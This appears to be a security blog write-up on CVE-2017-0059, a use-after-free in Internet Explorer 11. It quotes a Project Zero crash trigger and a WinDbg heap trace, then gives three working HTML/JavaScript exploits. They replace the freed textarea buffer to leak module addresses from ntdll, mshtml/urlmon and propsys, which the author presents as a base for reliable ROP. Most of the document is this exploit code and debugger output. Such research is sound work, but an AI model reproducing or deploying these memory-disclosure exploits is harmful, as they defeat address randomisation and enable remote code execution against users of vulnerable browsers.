CVE to PoC - CVE-2017-0059

CVE-2017-0059

Internet Explorer

“There is an use-after-free bug in IE which can lead to info leak / memory disclosure.
The bug was confirmed on Internet Explorer version 11.0.9600.18537 (update version 11.0.38).
[...]
The root cause of a bug is actually a use-after-free on the textarea text value, which can be seen if a PoC is run with Page Heap enabled.”

The PoC

The vulnerability was found by Ivan Fratric of Google Project Zero. He kindly provided a proof of concept to trigger the uaf with Page Heap enabled:

<!-- saved from url=(0014)about:internet -->
<script>
 
function run() {
  var textarea = document.getElementById("textarea");
  var frame = document.createElement("iframe");
 
  textarea.appendChild(frame);
 
  frame.contentDocument.onreadystatechange = eventhandler;
 
  form.reset();
}
 
function eventhandler() {
  document.getElementById("textarea").defaultValue = "foo";
  alert("Text value freed, can be reallocated here");
}
 
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" cols="80">aaaaaaaaaaaaaaaaaaaaaaaa</textarea>
With HPA:

(a2c.6ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=123d3fc8 ebx=00000019 ecx=123d3fc8 edx=123d3fc8 esi=107dafcc edi=00000000
eip=76fec006 esp=098db398 ebp=098db3a4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
msvcrt!wcscpy_s+0x46:
76fec006 0fb706          movzx   eax,word ptr [esi]       ds:002b:107dafcc=????

0:007> !heap -p -a esi
    address 107dafcc found in
    _DPH_HEAP_ROOT @ 4da1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   103e3138:         107da000             2000
    5c3e947d verifier!AVrfDebugPageHeapReAllocate+0x0000036d
    77ea126b ntdll!RtlDebugReAllocateHeap+0x00000033
    77e5de86 ntdll!RtlReAllocateHeap+0x00000054
    59b4f453 MSHTML!CTravelLog::_AddEntryInternal+0x00000215
    59b38b69 MSHTML!MemoryProtection::HeapReAlloc<0>+0x00000026
    59b47145 MSHTML!_HeapRealloc<0>+0x00000011
    595ac33e MSHTML!BASICPROPPARAMS::SetStringProperty+0x00000546
    5950ec9c MSHTML!CBase::put_StringHelper+0x0000004d
    59f771b0 MSHTML!CFastDOM::CHTMLTextAreaElement::Trampoline_Set_defaultValue+0x00000070
    5bb0e21a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000019d
    5bb0ec95 jscript9!Js::JavascriptOperators::CallSetter+0x00000138
    5bb0ebd2 jscript9!Js::JavascriptOperators::CallSetter+0x00000076
    5bb0f74e jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x00000341
    5bb0f546 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040
    5bb0f5c6 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d
    5bb0a0fb jscript9!Js::InterpreterStackFrame::Process+0x00002c1e
    5bb0d899 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200

The Exploit

A really quick analysis revealed that what can be replaced is the memory chunk that was allocated (and then freed) for the text of the text area. Also, it looks like this allocation was made in the default process heap.

Find an object with the same size of the chunk pointed by ESI (or slightly a bit less) allocated within the same heap and with useful information in it (vtables?) and the leaked data will be copied into content of the text area (via that "movzx" instruction that you see above).
The good news is that the chunk pointed by EDI can be resized by changing the amount of text you put in the text box.

Limitations:
 - the first dword is not copied (duh..)
 - null bytes will terminate the copy (this means no '\x00\x00', unless after the data we're interested in)

Examples:
Object 1
1st DWORD: vtable ptr
2nd DWORD: 00000000
3rd DWORD: vtable ptr
result: no leak, copy is terminated at the second dword, first dword is ignored

Object 2
1st DWORD: 00000000
2nd DWORD: 0000dead
3rd DWORD: vtable ptr
results: same as before

Object 3
1st DWORD: vtable ptr
2nd DWORD: vtable ptr
3rd DWORD: 00000000
results: second vtable ptr leaked

After a few failed experiments I managed to leak vtable pointer for dlls such as ntdll, mshtml, urlmon and, even better, propsys (a dll which was last updated in 2010, rop on this will be much more reliable):

Leak of ntdll:

<script>

function run() {
	var textarea = document.getElementById("textarea");
	var frame = document.createElement("iframe");

	textarea.appendChild(frame);
	frame.contentDocument.onreadystatechange = eventhandler;

	form.reset();
}

function eventhandler() {

	document.getElementById("textarea").defaultValue = "foo";

	// Object replacement here (in default process heap)
	// Size depends on amount of text in textarea

	var j = document.createElement("canvas");
	ctx=j.getContext("2d");
	ctx.beginPath();
	ctx.moveTo(20,20);
	ctx.lineTo(20,100);
	ctx.lineTo(70,100);
	ctx.strokeStyle="red";
	ctx.stroke();


	// Object replaced
	// ntdll leak

}
 
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaa</textarea>
<script>

setTimeout(function() {
	var txt = document.getElementById("textarea");
	var il = txt.value.substring(2,4);
	var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
	alert(addr.toString(16));
}, 1000);

</script>
Leak of mshtml/urlmon

<!-- saved from url=(0014)about:internet -->
<script>

function run() {
  var textarea = document.getElementById("textarea");
  var frame = document.createElement("iframe");
 
  textarea.appendChild(frame);
  frame.contentDocument.onreadystatechange = eventhandler;

  form.reset();
}
 
function eventhandler() {

  document.getElementById("textarea").defaultValue = "foo";

  // Object replacement here (in default process heap)
  // Size depends on amount of text in textarea

  var o = document.createElement("progress");   
  
  // Object replaced
  // "progress" object triggers multiple allocations, some in the default heap
  // Can leak address in URLMON or MSHTML

}
 
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
<!-- <textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>     FOR URLMON -->
<!-- <textarea id="textarea" style="display:none" cols="80">aaaaaaaaa</textarea>    FOR MSHTML -->

<script>

setTimeout(function() {
  var txt = document.getElementById("textarea");
  var il = txt.value.substring(0,2);
  var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
  alert("Leaked: 0x"+addr.toString(16));
}, 1000);


</script>
Leak of propsys :)

<!-- saved from url=(0014)about:internet -->
<script>

function run() {
	var textarea = document.getElementById("textarea");
	var frame = document.createElement("iframe");

	textarea.appendChild(frame);
	frame.contentDocument.onreadystatechange = eventhandler;

	form.reset();
}

 
function eventhandler() {

	document.getElementById("textarea").defaultValue = "";


         var audioElm = document.createElement("audio");
         audioElm.src = "test.mp3";

}
 
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>

<script>

setTimeout(function() {
  var txt = document.getElementById("textarea");
  var il = txt.value.substring(0,2);
  var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
  alert("Leaked: 0x"+addr.toString(16));
}, 1000);


</script>